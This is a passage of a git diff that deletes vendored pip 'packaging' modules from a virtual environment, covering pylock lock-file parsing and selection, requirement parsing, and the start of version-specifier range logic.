-    ) -> None:
-        # In Python 3.10+ make dataclass kw_only=True and remove __init__
-        object.__setattr__(self, "url", url)
-        object.__setattr__(self, "path", path)
-        object.__setattr__(self, "size", size)
-        object.__setattr__(self, "upload_time", upload_time)
-        object.__setattr__(self, "hashes", hashes)
-        object.__setattr__(self, "subdirectory", subdirectory)
-
-    @classmethod
-    def _from_dict(cls, d: Mapping[str, Any]) -> Self:
-        package_archive = cls(
-            url=_get(d, str, "url"),
-            path=_get(d, str, "path"),
-            size=_get(d, int, "size"),
-            upload_time=_get(d, datetime, "upload-time"),
-            hashes=_get_required_as(d, Mapping, _validate_hashes, "hashes"),  # type: ignore[type-abstract]
-            subdirectory=_get(d, str, "subdirectory"),
-        )
-        _validate_path_url(package_archive.path, package_archive.url)
-        return package_archive
-
-
-@dataclass(frozen=True, init=False)
-class PackageSdist:
-    name: str | None = None
-    upload_time: datetime | None = None
-    url: str | None = None
-    path: str | None = None
-    size: int | None = None
-    hashes: Mapping[str, str]  # type: ignore[misc]
-
-    def __init__(
-        self,
-        *,
-        name: str | None = None,
-        upload_time: datetime | None = None,
-        url: str | None = None,
-        path: str | None = None,
-        size: int | None = None,
-        hashes: Mapping[str, str],
-    ) -> None:
-        # In Python 3.10+ make dataclass kw_only=True and remove __init__
-        object.__setattr__(self, "name", name)
-        object.__setattr__(self, "upload_time", upload_time)
-        object.__setattr__(self, "url", url)
-        object.__setattr__(self, "path", path)
-        object.__setattr__(self, "size", size)
-        object.__setattr__(self, "hashes", hashes)
-
-    @classmethod
-    def _from_dict(cls, d: Mapping[str, Any]) -> Self:
-        package_sdist = cls(
-            name=_get(d, str, "name"),
-            upload_time=_get(d, datetime, "upload-time"),
-            url=_get(d, str, "url"),
-            path=_get(d, str, "path"),
-            size=_get(d, int, "size"),
-            hashes=_get_required_as(d, Mapping, _validate_hashes, "hashes"),  # type: ignore[type-abstract]
-        )
-        _validate_path_url(package_sdist.path, package_sdist.url)
-        return package_sdist
-
-    @property
-    def filename(self) -> str:
-        """Get the filename of the sdist."""
-        filename = self.name or _path_name(self.path) or _url_name(self.url)
-        if not filename:
-            raise PylockValidationError("Cannot determine sdist filename")
-        return filename
-
-
-@dataclass(frozen=True, init=False)
-class PackageWheel:
-    name: str | None = None
-    upload_time: datetime | None = None
-    url: str | None = None
-    path: str | None = None
-    size: int | None = None
-    hashes: Mapping[str, str]  # type: ignore[misc]
-
-    def __init__(
-        self,
-        *,
-        name: str | None = None,
-        upload_time: datetime | None = None,
-        url: str | None = None,
-        path: str | None = None,
-        size: int | None = None,
-        hashes: Mapping[str, str],
-    ) -> None:
-        # In Python 3.10+ make dataclass kw_only=True and remove __init__
-        object.__setattr__(self, "name", name)
-        object.__setattr__(self, "upload_time", upload_time)
-        object.__setattr__(self, "url", url)
-        object.__setattr__(self, "path", path)
-        object.__setattr__(self, "size", size)
-        object.__setattr__(self, "hashes", hashes)
-
-    @classmethod
-    def _from_dict(cls, d: Mapping[str, Any]) -> Self:
-        package_wheel = cls(
-            name=_get(d, str, "name"),
-            upload_time=_get(d, datetime, "upload-time"),
-            url=_get(d, str, "url"),
-            path=_get(d, str, "path"),
-            size=_get(d, int, "size"),
-            hashes=_get_required_as(d, Mapping, _validate_hashes, "hashes"),  # type: ignore[type-abstract]
-        )
-        _validate_path_url(package_wheel.path, package_wheel.url)
-        return package_wheel
-
-    @property
-    def filename(self) -> str:
-        """Get the filename of the wheel."""
-        filename = self.name or _path_name(self.path) or _url_name(self.url)
-        if not filename:
-            raise PylockValidationError("Cannot determine wheel filename")
-        return filename
-
-
-@dataclass(frozen=True, init=False)
-class Package:
-    name: NormalizedName
-    version: Version | None = None
-    marker: Marker | None = None
-    requires_python: SpecifierSet | None = None
-    dependencies: Sequence[Mapping[str, Any]] | None = None
-    vcs: PackageVcs | None = None
-    directory: PackageDirectory | None = None
-    archive: PackageArchive | None = None
-    index: str | None = None
-    sdist: PackageSdist | None = None
-    wheels: Sequence[PackageWheel] | None = None
-    attestation_identities: Sequence[Mapping[str, Any]] | None = None
-    tool: Mapping[str, Any] | None = None
-
-    def __init__(
-        self,
-        *,
-        name: NormalizedName,
-        version: Version | None = None,
-        marker: Marker | None = None,
-        requires_python: SpecifierSet | None = None,
-        dependencies: Sequence[Mapping[str, Any]] | None = None,
-        vcs: PackageVcs | None = None,
-        directory: PackageDirectory | None = None,
-        archive: PackageArchive | None = None,
-        index: str | None = None,
-        sdist: PackageSdist | None = None,
-        wheels: Sequence[PackageWheel] | None = None,
-        attestation_identities: Sequence[Mapping[str, Any]] | None = None,
-        tool: Mapping[str, Any] | None = None,
-    ) -> None:
-        # In Python 3.10+ make dataclass kw_only=True and remove __init__
-        object.__setattr__(self, "name", name)
-        object.__setattr__(self, "version", version)
-        object.__setattr__(self, "marker", marker)
-        object.__setattr__(self, "requires_python", requires_python)
-        object.__setattr__(self, "dependencies", dependencies)
-        object.__setattr__(self, "vcs", vcs)
-        object.__setattr__(self, "directory", directory)
-        object.__setattr__(self, "archive", archive)
-        object.__setattr__(self, "index", index)
-        object.__setattr__(self, "sdist", sdist)
-        object.__setattr__(self, "wheels", wheels)
-        object.__setattr__(self, "attestation_identities", attestation_identities)
-        object.__setattr__(self, "tool", tool)
-
-    @classmethod
-    def _from_dict(cls, d: Mapping[str, Any]) -> Self:
-        package = cls(
-            name=_get_required_as(d, str, _validate_normalized_name, "name"),
-            version=_get_as(d, str, Version, "version"),
-            requires_python=_get_as(d, str, SpecifierSet, "requires-python"),
-            dependencies=_get_sequence(d, Mapping, "dependencies"),  # type: ignore[type-abstract]
-            marker=_get_as(d, str, Marker, "marker"),
-            vcs=_get_object(d, PackageVcs, "vcs"),
-            directory=_get_object(d, PackageDirectory, "directory"),
-            archive=_get_object(d, PackageArchive, "archive"),
-            index=_get(d, str, "index"),
-            sdist=_get_object(d, PackageSdist, "sdist"),
-            wheels=_get_sequence_of_objects(d, PackageWheel, "wheels"),
-            attestation_identities=_get_sequence(d, Mapping, "attestation-identities"),  # type: ignore[type-abstract]
-            tool=_get(d, Mapping, "tool"),  # type: ignore[type-abstract]
-        )
-        distributions = bool(package.sdist) + len(package.wheels or [])
-        direct_urls = (
-            bool(package.vcs) + bool(package.directory) + bool(package.archive)
-        )
-        if distributions > 0 and direct_urls > 0:
-            raise PylockValidationError(
-                "None of vcs, directory, archive must be set if sdist or wheels are set"
-            )
-        if distributions == 0 and direct_urls != 1:
-            raise PylockValidationError(
-                "Exactly one of vcs, directory, archive must be set "
-                "if sdist and wheels are not set"
-            )
-        for i, wheel in enumerate(package.wheels or []):
-            try:
-                (name, version, _, _) = parse_wheel_filename(wheel.filename)
-            except Exception as e:
-                raise PylockValidationError(
-                    f"Invalid wheel filename {wheel.filename!r}",
-                    context=f"wheels[{i}]",
-                ) from e
-            if name != package.name:
-                raise PylockValidationError(
-                    f"Name in {wheel.filename!r} is not consistent with "
-                    f"package name {package.name!r}",
-                    context=f"wheels[{i}]",
-                )
-            if package.version and version != package.version:
-                raise PylockValidationError(
-                    f"Version in {wheel.filename!r} is not consistent with "
-                    f"package version {str(package.version)!r}",
-                    context=f"wheels[{i}]",
-                )
-        if package.sdist:
-            try:
-                name, version = parse_sdist_filename(package.sdist.filename)
-            except Exception as e:
-                raise PylockValidationError(
-                    f"Invalid sdist filename {package.sdist.filename!r}",
-                    context="sdist",
-                ) from e
-            if name != package.name:
-                raise PylockValidationError(
-                    f"Name in {package.sdist.filename!r} is not consistent with "
-                    f"package name {package.name!r}",
-                    context="sdist",
-                )
-            if package.version and version != package.version:
-                raise PylockValidationError(
-                    f"Version in {package.sdist.filename!r} is not consistent with "
-                    f"package version {str(package.version)!r}",
-                    context="sdist",
-                )
-        try:
-            for i, attestation_identity in enumerate(  # noqa: B007
-                package.attestation_identities or []
-            ):
-                _get_required(attestation_identity, str, "kind")
-        except Exception as e:
-            raise PylockValidationError(
-                e, context=f"attestation-identities[{i}]"
-            ) from e
-        return package
-
-    @property
-    def is_direct(self) -> bool:
-        return not (self.sdist or self.wheels)
-
-
-@dataclass(frozen=True, init=False)
-class Pylock:
-    """A class representing a pylock file."""
-
-    lock_version: Version
-    environments: Sequence[Marker] | None = None
-    requires_python: SpecifierSet | None = None
-    extras: Sequence[NormalizedName] | None = None
-    dependency_groups: Sequence[str] | None = None
-    default_groups: Sequence[str] | None = None
-    created_by: str  # type: ignore[misc]
-    packages: Sequence[Package]  # type: ignore[misc]
-    tool: Mapping[str, Any] | None = None
-
-    def __init__(
-        self,
-        *,
-        lock_version: Version,
-        environments: Sequence[Marker] | None = None,
-        requires_python: SpecifierSet | None = None,
-        extras: Sequence[NormalizedName] | None = None,
-        dependency_groups: Sequence[str] | None = None,
-        default_groups: Sequence[str] | None = None,
-        created_by: str,
-        packages: Sequence[Package],
-        tool: Mapping[str, Any] | None = None,
-    ) -> None:
-        # In Python 3.10+ make dataclass kw_only=True and remove __init__
-        object.__setattr__(self, "lock_version", lock_version)
-        object.__setattr__(self, "environments", environments)
-        object.__setattr__(self, "requires_python", requires_python)
-        object.__setattr__(self, "extras", extras)
-        object.__setattr__(self, "dependency_groups", dependency_groups)
-        object.__setattr__(self, "default_groups", default_groups)
-        object.__setattr__(self, "created_by", created_by)
-        object.__setattr__(self, "packages", packages)
-        object.__setattr__(self, "tool", tool)
-
-    @classmethod
-    def _from_dict(cls, d: Mapping[str, Any]) -> Self:
-        pylock = cls(
-            lock_version=_get_required_as(d, str, Version, "lock-version"),
-            environments=_get_sequence_as(d, str, Marker, "environments"),
-            extras=_get_sequence_as(d, str, _validate_normalized_name, "extras"),
-            dependency_groups=_get_sequence(d, str, "dependency-groups"),
-            default_groups=_get_sequence(d, str, "default-groups"),
-            created_by=_get_required(d, str, "created-by"),
-            requires_python=_get_as(d, str, SpecifierSet, "requires-python"),
-            packages=_get_required_sequence_of_objects(d, Package, "packages"),
-            tool=_get(d, Mapping, "tool"),  # type: ignore[type-abstract]
-        )
-        if not Version("1") <= pylock.lock_version < Version("2"):
-            raise PylockUnsupportedVersionError(
-                f"pylock version {pylock.lock_version} is not supported"
-            )
-        if pylock.lock_version > Version("1.0"):
-            _logger.warning(
-                "pylock minor version %s is not supported", pylock.lock_version
-            )
-        return pylock
-
-    @classmethod
-    def from_dict(cls, d: Mapping[str, Any], /) -> Self:
-        """Create and validate a Pylock instance from a TOML dictionary.
-
-        Raises :class:`PylockValidationError` if the input data is not
-        spec-compliant.
-        """
-        return cls._from_dict(d)
-
-    def to_dict(self) -> Mapping[str, Any]:
-        """Convert the Pylock instance to a TOML dictionary."""
-        return dataclasses.asdict(self, dict_factory=_toml_dict_factory)
-
-    def validate(self) -> None:
-        """Validate the Pylock instance against the specification.
-
-        Raises :class:`PylockValidationError` otherwise."""
-        self.from_dict(self.to_dict())
-
-    def select(
-        self,
-        *,
-        environment: Environment | None = None,
-        tags: Sequence[Tag] | None = None,
-        extras: Collection[str] | None = None,
-        dependency_groups: Collection[str] | None = None,
-    ) -> Iterator[
-        tuple[
-            Package,
-            PackageVcs
-            | PackageDirectory
-            | PackageArchive
-            | PackageWheel
-            | PackageSdist,
-        ]
-    ]:
-        """Select what to install from the lock file.
-
-        The *environment* and *tags* parameters represent the environment being
-        selected for. If unspecified, ``packaging.markers.default_environment()`` and
-        ``packaging.tags.sys_tags()`` are used.
-
-        The *extras* parameter represents the extras to install.
-
-        The *dependency_groups* parameter represents the groups to install. If
-        unspecified, the default groups are used.
-
-        This method must be used on valid Pylock instances (i.e. one obtained
-        from :meth:`Pylock.from_dict` or if constructed manually, after calling
-        :meth:`Pylock.validate`).
-        """
-        compatible_tags_selector = create_compatible_tags_selector(tags or sys_tags())
-
-        # #. Gather the extras and dependency groups to install and set ``extras`` and
-        #    ``dependency_groups`` for marker evaluation, respectively.
-        #
-        #    #. ``extras`` SHOULD be set to the empty set by default.
-        #    #. ``dependency_groups`` SHOULD be the set created from
-        #       :ref:`pylock-default-groups` by default.
-        env = cast(
-            "dict[str, str | frozenset[str]]",
-            dict(
-                environment or {},  # Marker.evaluate will fill-up
-                extras=frozenset(extras or []),
-                dependency_groups=frozenset(
-                    (self.default_groups or [])
-                    if dependency_groups is None  # to allow selecting no group
-                    else dependency_groups
-                ),
-            ),
-        )
-        env_python_full_version = (
-            environment["python_full_version"]
-            if environment
-            else default_environment()["python_full_version"]
-        )
-
-        # #. Check if the metadata version specified by :ref:`pylock-lock-version` is
-        #    supported; an error or warning MUST be raised as appropriate.
-        # Covered by lock.validate() which is a precondition for this method.
-
-        # #. If :ref:`pylock-requires-python` is specified, check that the environment
-        #    being installed for meets the requirement; an error MUST be raised if it is
-        #    not met.
-        if self.requires_python and not self.requires_python.contains(
-            env_python_full_version,
-        ):
-            raise PylockSelectError(
-                f"python_full_version {env_python_full_version!r} "
-                f"in provided environment does not satisfy the Python version "
-                f"requirement {str(self.requires_python)!r}"
-            )
-
-        # #. If :ref:`pylock-environments` is specified, check that at least one of the
-        #    environment marker expressions is satisfied; an error MUST be raised if no
-        #    expression is satisfied.
-        if self.environments:
-            for env_marker in self.environments:
-                if env_marker.evaluate(
-                    cast("dict[str, str]", environment or {}), context="requirement"
-                ):
-                    break
-            else:
-                raise PylockSelectError(
-                    "Provided environment does not satisfy any of the "
-                    "environments specified in the lock file"
-                )
-
-        # #. For each package listed in :ref:`pylock-packages`:
-        selected_packages_by_name: dict[str, tuple[int, Package]] = {}
-        for package_index, package in enumerate(self.packages):
-            # #. If :ref:`pylock-packages-marker` is specified, check if it is
-            #    satisfied;if it isn't, skip to the next package.
-            if package.marker and not package.marker.evaluate(env, context="lock_file"):
-                continue
-
-            # #. If :ref:`pylock-packages-requires-python` is specified, check if it is
-            #    satisfied; an error MUST be raised if it isn't.
-            if package.requires_python and not package.requires_python.contains(
-                env_python_full_version,
-            ):
-                raise PylockSelectError(
-                    f"python_full_version {env_python_full_version!r} "
-                    f"in provided environment does not satisfy the Python version "
-                    f"requirement {str(package.requires_python)!r} for package "
-                    f"{package.name!r} at packages[{package_index}]"
-                )
-
-            # #. Check that no other conflicting instance of the package has been slated
-            #    to be installed; an error about the ambiguity MUST be raised otherwise.
-            if package.name in selected_packages_by_name:
-                raise PylockSelectError(
-                    f"Multiple packages with the name {package.name!r} are "
-                    f"selected at packages[{package_index}] and "
-                    f"packages[{selected_packages_by_name[package.name][0]}]"
-                )
-
-            # #. Check that the source of the package is specified appropriately (i.e.
-            #    there are no conflicting sources in the package entry);
-            #    an error MUST be raised if any issues are found.
-            # Covered by lock.validate() which is a precondition for this method.
-
-            # #. Add the package to the set of packages to install.
-            selected_packages_by_name[package.name] = (package_index, package)
-
-        # #. For each package to be installed:
-        for package_index, package in selected_packages_by_name.values():
-            # - If :ref:`pylock-packages-vcs` is set:
-            if package.vcs is not None:
-                yield package, package.vcs
-
-            # - Else if :ref:`pylock-packages-directory` is set:
-            elif package.directory is not None:
-                yield package, package.directory
-
-            # - Else if :ref:`pylock-packages-archive` is set:
-            elif package.archive is not None:
-                yield package, package.archive
-
-            # - Else if there are entries for :ref:`pylock-packages-wheels`:
-            elif package.wheels:
-                # #. Look for the appropriate wheel file based on
-                #    :ref:`pylock-packages-wheels-name`; if one is not found then move
-                #    on to :ref:`pylock-packages-sdist` or an error MUST be raised about
-                #    a lack of source for the project.
-                best_wheel = next(
-                    compatible_tags_selector(
-                        (wheel, parse_wheel_filename(wheel.filename)[-1])
-                        for wheel in package.wheels
-                    ),
-                    None,
-                )
-                if best_wheel:
-                    yield package, best_wheel
-                elif package.sdist is not None:
-                    yield package, package.sdist
-                else:
-                    raise PylockSelectError(
-                        f"No wheel found matching the provided tags "
-                        f"for package {package.name!r} "
-                        f"at packages[{package_index}], "
-                        f"and no sdist available as a fallback"
-                    )
-
-            # - Else if no :ref:`pylock-packages-wheels` file is found or
-            #   :ref:`pylock-packages-sdist` is solely set:
-            elif package.sdist is not None:
-                yield package, package.sdist
-
-            else:
-                # Covered by lock.validate() which is a precondition for this method.
-                raise NotImplementedError  # pragma: no cover
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/requirements.py b/venv/Lib/site-packages/pip/_vendor/packaging/requirements.py
deleted file mode 100644
index d5c786d161e98139dd5174e215343ae6697a6534..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/requirements.py
+++ /dev/null
@@ -1,129 +0,0 @@
-# This file is dual licensed under the terms of the Apache License, Version
-# 2.0, and the BSD License. See the LICENSE file in the root of this repository
-# for complete details.
-from __future__ import annotations
-
-from typing import Iterator
-
-from ._parser import parse_requirement as _parse_requirement
-from ._tokenizer import ParserSyntaxError
-from .markers import Marker, _normalize_extra_values
-from .specifiers import SpecifierSet
-from .utils import canonicalize_name
-
-__all__ = [
-    "InvalidRequirement",
-    "Requirement",
-]
-
-
-def __dir__() -> list[str]:
-    return __all__
-
-
-class InvalidRequirement(ValueError):
-    """
-    An invalid requirement was found, users should refer to PEP 508.
-    """
-
-
-class Requirement:
-    """Parse a requirement.
-
-    Parse a given requirement string into its parts, such as name, specifier,
-    URL, and extras. Raises InvalidRequirement on a badly-formed requirement
-    string.
-
-    Instances are safe to serialize with :mod:`pickle`. They use a stable
-    format so the same pickle can be loaded in future packaging releases.
-
-    .. versionchanged:: 26.2
-
-        Added a stable pickle format. Pickles created with packaging 26.2+ can
-        be unpickled with future releases.  Backward compatibility with pickles
-        from pip._vendor.packaging < 26.2 is supported but may be removed in a future
-        release.
-    """
-
-    # TODO: Can we test whether something is contained within a requirement?
-    #       If so how do we do that? Do we need to test against the _name_ of
-    #       the thing as well as the version? What about the markers?
-    # TODO: Can we normalize the name and extra name?
-
-    def __init__(self, requirement_string: str) -> None:
-        try:
-            parsed = _parse_requirement(requirement_string)
-        except ParserSyntaxError as e:
-            raise InvalidRequirement(str(e)) from e
-
-        self.name: str = parsed.name
-        self.url: str | None = parsed.url or None
-        self.extras: set[str] = set(parsed.extras or [])
-        self.specifier: SpecifierSet = SpecifierSet(parsed.specifier)
-        self.marker: Marker | None = None
-        if parsed.marker is not None:
-            self.marker = Marker.__new__(Marker)
-            self.marker._markers = _normalize_extra_values(parsed.marker)
-
-    def _iter_parts(self, name: str) -> Iterator[str]:
-        yield name
-
-        if self.extras:
-            formatted_extras = ",".join(sorted(self.extras))
-            yield f"[{formatted_extras}]"
-
-        if self.specifier:
-            yield str(self.specifier)
-
-        if self.url:
-            yield f" @ {self.url}"
-            if self.marker:
-                yield " "
-
-        if self.marker:
-            yield f"; {self.marker}"
-
-    def __getstate__(self) -> str:
-        # Return the requirement string for compactness and stability.
-        # Re-parsed on load to reconstruct all fields.
-        return str(self)
-
-    def __setstate__(self, state: object) -> None:
-        if isinstance(state, str):
-            # New format (26.2+): just the requirement string.
-            try:
-                tmp = Requirement(state)
-            except InvalidRequirement as exc:
-                raise TypeError(f"Cannot restore Requirement from {state!r}") from exc
-            self.name = tmp.name
-            self.url = tmp.url
-            self.extras = tmp.extras
-            self.specifier = tmp.specifier
-            self.marker = tmp.marker
-            return
-        if isinstance(state, dict):
-            # Old format (packaging <= 26.1, no __slots__): plain __dict__.
-            self.__dict__.update(state)
-            return
-        raise TypeError(f"Cannot restore Requirement from {state!r}")
-
-    def __str__(self) -> str:
-        return "".join(self._iter_parts(self.name))
-
-    def __repr__(self) -> str:
-        return f"<{self.__class__.__name__}({str(self)!r})>"
-
-    def __hash__(self) -> int:
-        return hash(tuple(self._iter_parts(canonicalize_name(self.name))))
-
-    def __eq__(self, other: object) -> bool:
-        if not isinstance(other, Requirement):
-            return NotImplemented
-
-        return (
-            canonicalize_name(self.name) == canonicalize_name(other.name)
-            and self.extras == other.extras
-            and self.specifier == other.specifier
-            and self.url == other.url
-            and self.marker == other.marker
-        )
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/specifiers.py b/venv/Lib/site-packages/pip/_vendor/packaging/specifiers.py
deleted file mode 100644
index 83e0015026c46642bd4aabab948504f4ea52f7fa..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/specifiers.py
+++ /dev/null
@@ -1,1943 +0,0 @@
-# This file is dual licensed under the terms of the Apache License, Version
-# 2.0, and the BSD License. See the LICENSE file in the root of this repository
-# for complete details.
-"""
-.. testsetup::
-
-    from pip._vendor.packaging.specifiers import Specifier, SpecifierSet, InvalidSpecifier
-    from pip._vendor.packaging.version import Version
-"""
-
-from __future__ import annotations
-
-import abc
-import enum
-import functools
-import itertools
-import re
-import sys
-import typing
-from typing import (
-    TYPE_CHECKING,
-    Any,
-    Callable,
-    Final,
-    Iterable,
-    Iterator,
-    Sequence,
-    TypeVar,
-    Union,
-)
-
-from .utils import canonicalize_version
-from .version import InvalidVersion, Version
-
-if sys.version_info >= (3, 10):
-    from typing import TypeGuard  # pragma: no cover
-elif TYPE_CHECKING:
-    from typing_extensions import TypeGuard
-
-__all__ = [
-    "BaseSpecifier",
-    "InvalidSpecifier",
-    "Specifier",
-    "SpecifierSet",
-]
-
-
-def __dir__() -> list[str]:
-    return __all__
-
-
-def _validate_spec(spec: object, /) -> TypeGuard[tuple[str, str]]:
-    return (
-        isinstance(spec, tuple)
-        and len(spec) == 2
-        and isinstance(spec[0], str)
-        and isinstance(spec[1], str)
-    )
-
-
-def _validate_pre(pre: object, /) -> TypeGuard[bool | None]:
-    return pre is None or isinstance(pre, bool)
-
-
-T = TypeVar("T")
-UnparsedVersion = Union[Version, str]
-UnparsedVersionVar = TypeVar("UnparsedVersionVar", bound=UnparsedVersion)
-CallableOperator = Callable[[Version, str], bool]
-
-# The smallest possible PEP 440 version. No valid version is less than this.
-_MIN_VERSION: Final[Version] = Version("0.dev0")
-
-
-def _trim_release(release: tuple[int, ...]) -> tuple[int, ...]:
-    """Strip trailing zeros from a release tuple for normalized comparison."""
-    end = len(release)
-    while end > 1 and release[end - 1] == 0:
-        end -= 1
-    return release if end == len(release) else release[:end]
-
-
-class _BoundaryKind(enum.Enum):
-    """Where a boundary marker sits in the version ordering."""
-
-    AFTER_LOCALS = enum.auto()  # after V+local, before V.post0
-    AFTER_POSTS = enum.auto()  # after V.postN, before next release
-
-
-@functools.total_ordering
-class _BoundaryVersion:
-    """A point on the version line between two real PEP 440 versions.
-
-    Some specifier semantics imply boundaries between real versions:
-    ``<=1.0`` includes ``1.0+local`` and ``>1.0`` excludes
-    ``1.0.post0``.  No real :class:`Version` falls on those boundaries,
-    so this class creates values that sort between the real versions
-    on either side.
-
-    Two kinds exist, shown relative to a base version V::
-
-        V < V+local < AFTER_LOCALS(V) < V.post0 < AFTER_POSTS(V)
-
-    ``AFTER_LOCALS`` sits after V and every V+local, but before
-    V.post0.  Upper bound of ``<=V``, ``==V``, ``!=V``.
-
-    ``AFTER_POSTS`` sits after every V.postN, but before the next
-    release segment.  Lower bound of ``>V`` (final or pre-release V)
-    to exclude post-releases per PEP 440.
-    """
-
-    __slots__ = ("_kind", "_trimmed_release", "version")
-
-    def __init__(self, version: Version, kind: _BoundaryKind) -> None:
-        self.version = version
-        self._kind = kind
-        self._trimmed_release = _trim_release(version.release)
-
-    def _is_family(self, other: Version) -> bool:
-        """Is ``other`` a version that this boundary sorts above?"""
-        v = self.version
-        if not (
-            other.epoch == v.epoch
-            and _trim_release(other.release) == self._trimmed_release
-            and other.pre == v.pre
-        ):
-            return False
-        if self._kind == _BoundaryKind.AFTER_LOCALS:
-            # Local family: exact same public version (any local label).
-            return other.post == v.post and other.dev == v.dev
-        # Post family: same base + any post-release (or identical).
-        return other.dev == v.dev or other.post is not None
-
-    def __eq__(self, other: object) -> bool:
-        if isinstance(other, _BoundaryVersion):
-            return self.version == other.version and self._kind == other._kind
-        return NotImplemented
-
-    def __lt__(self, other: _BoundaryVersion | Version) -> bool:
-        if isinstance(other, _BoundaryVersion):
-            if self.version != other.version:
-                return self.version < other.version
-            return self._kind.value < other._kind.value
-        return not self._is_family(other) and self.version < other
-
-    def __hash__(self) -> int:
-        return hash((self.version, self._kind))
-
-    def __repr__(self) -> str:
-        return f"{self.__class__.__name__}({self.version!r}, {self._kind.name})"
-
-
-@functools.total_ordering
-class _LowerBound:
-    """Lower bound of a version range.
-
-    A version *v* of ``None`` means unbounded below (-inf).
-    At equal versions, ``[v`` sorts before ``(v`` because an inclusive
-    bound starts earlier.
-    """
-
-    __slots__ = ("inclusive", "version")
-
-    def __init__(self, version: _VersionOrBoundary, inclusive: bool) -> None:
-        self.version = version
-        self.inclusive = inclusive
-
-    def __eq__(self, other: object) -> bool:
-        if not isinstance(other, _LowerBound):
-            return NotImplemented  # pragma: no cover
-        return self.version == other.version and self.inclusive == other.inclusive
-
-    def __lt__(self, other: _LowerBound) -> bool:
-        if not isinstance(other, _LowerBound):  # pragma: no cover
-            return NotImplemented
-        # -inf < anything (except -inf).
-        if self.version is None:
-            return other.version is not None
-        if other.version is None:
-            return False
-        if self.version != other.version:
-            return self.version < other.version
-        # [v < (v: inclusive starts earlier.
-        return self.inclusive and not other.inclusive
-
-    def __hash__(self) -> int:
-        return hash((self.version, self.inclusive))
-
-    def __repr__(self) -> str:
-        bracket = "[" if self.inclusive else "("
-        return f"<{self.__class__.__name__} {bracket}{self.version!r}>"
-
-
-@functools.total_ordering
-class _UpperBound:
-    """Upper bound of a version range.
-
-    A version *v* of ``None`` means unbounded above (+inf).
-    At equal versions, ``v)`` sorts before ``v]`` because an exclusive
-    bound ends earlier.
-    """
-
-    __slots__ = ("inclusive", "version")
-
-    def __init__(self, version: _VersionOrBoundary, inclusive: bool) -> None:
-        self.version = version
-        self.inclusive = inclusive
-
-    def __eq__(self, other: object) -> bool:
-        if not isinstance(other, _UpperBound):
-            return NotImplemented  # pragma: no cover
-        return self.version == other.version and self.inclusive == other.inclusive
-
-    def __lt__(self, other: _UpperBound) -> bool:
-        if not isinstance(other, _UpperBound):  # pragma: no cover
-            return NotImplemented
-        # Nothing < +inf (except +inf itself).
-        if self.version is None:
-            return False
-        if other.version is None:
-            return True
-        if self.version != other.version:
-            return self.version < other.version
-        # v) < v]: exclusive ends earlier.
-        return not self.inclusive and other.inclusive
-
-    def __hash__(self) -> int:
-        return hash((self.version, self.inclusive))
-
-    def __repr__(self) -> str:
-        bracket = "]" if self.inclusive else ")"
-        return f"<{self.__class__.__name__} {self.version!r}{bracket}>"
-
-
-if typing.TYPE_CHECKING:
-    _VersionOrBoundary = Union[Version, _BoundaryVersion, None]
-
-    #: A single contiguous version range, represented as a
-    #: (lower bound, upper bound) pair.
-    _VersionRange = tuple[_LowerBound, _UpperBound]
-
-_NEG_INF = _LowerBound(None, False)
-_POS_INF = _UpperBound(None, False)
-_FULL_RANGE: tuple[_VersionRange] = ((_NEG_INF, _POS_INF),)
-
-
-def _range_is_empty(lower: _LowerBound, upper: _UpperBound) -> bool:
-    """True when the range defined by *lower* and *upper* contains no versions."""
-    if lower.version is None or upper.version is None:
-        return False
-    if lower.version == upper.version:
-        return not (lower.inclusive and upper.inclusive)
-    return lower.version > upper.version
-
-
-def _intersect_ranges(
-    left: Sequence[_VersionRange],
-    right: Sequence[_VersionRange],
-) -> list[_VersionRange]:
-    """Intersect two sorted, non-overlapping range lists (two-pointer merge)."""
-    result: list[_VersionRange] = []
-    left_index = right_index = 0
-    while left_index < len(left) and right_index < len(right):
-        left_lower, left_upper = left[left_index]
-        right_lower, right_upper = right[right_index]
-
-        lower = max(left_lower, right_lower)
-        upper = min(left_upper, right_upper)
-
-        if not _range_is_empty(lower, upper):
-            result.append((lower, upper))
-
-        # Advance whichever side has the smaller upper bound.
-        if left_upper < right_upper:
-            left_index += 1
-        else:
-            right_index += 1
-
-    return result
-
-
-def _next_prefix_dev0(version: Version) -> Version:
-    """Smallest version in the next prefix: 1.2 -> 1.3.dev0."""
-    release = (*version.release[:-1], version.release[-1] + 1)
-    return Version.from_parts(epoch=version.epoch, release=release, dev=0)
-
-
-def _base_dev0(version: Version) -> Version:
-    """The .dev0 of a version's base release: 1.2 -> 1.2.dev0."""
-    return Version.from_parts(epoch=version.epoch, release=version.release, dev=0)
-
-
-def _coerce_version(version: UnparsedVersion) -> Version | None:
-    if not isinstance(version, Version):
-        try:
-            version = Version(version)
-        except InvalidVersion:
-            return None
-    return version
-
-
-def _public_version(version: Version) -> Version:
-    if version.local is None:
-        return version
-    return version.__replace__(local=None)
-
-
-def _post_base(version: Version) -> Version:
-    """The version that *version* is a post-release of.
-
-    1.0.post1 -> 1.0, 1.0a1.post0 -> 1.0a1, 1.0.post0.dev1 -> 1.0.
-    """
-    return version.__replace__(post=None, dev=None, local=None)
-
-
-def _earliest_prerelease(version: Version) -> Version:
-    """Earliest pre-release of *version*.
-
-    1.2 -> 1.2.dev0, 1.2.post1 -> 1.2.post1.dev0.
-    """
-    return version.__replace__(dev=0, local=None)
-
-
-def _nearest_non_prerelease(
-    v: _VersionOrBoundary,
-) -> Version | None:
-    """Smallest non-pre-release version at or above *v*, or None."""
-    if v is None:
-        return None
-    if isinstance(v, _BoundaryVersion):
-        inner = v.version
-        if inner.is_prerelease:
-            # AFTER_LOCALS(1.0a1) -> nearest non-pre is 1.0
-            return inner.__replace__(pre=None, dev=None, local=None)
-        # AFTER_LOCALS(1.0) -> nearest non-pre is 1.0.post0
-        # AFTER_LOCALS(1.0.post0) -> nearest non-pre is 1.0.post1
-        k = (inner.post + 1) if inner.post is not None else 0
-        return inner.__replace__(post=k, local=None)
-    if not v.is_prerelease:
-        return v
-    # Strip pre/dev to get the final or post-release form.
-    return v.__replace__(pre=None, dev=None, local=None)
-
-
-class InvalidSpecifier(ValueError):
-    """
-    Raised when attempting to create a :class:`Specifier` with a specifier
-    string that is invalid.
-
-    >>> Specifier("lolwat")
-    Traceback (most recent call last):
-        ...
-    packaging.specifiers.InvalidSpecifier: Invalid specifier: 'lolwat'
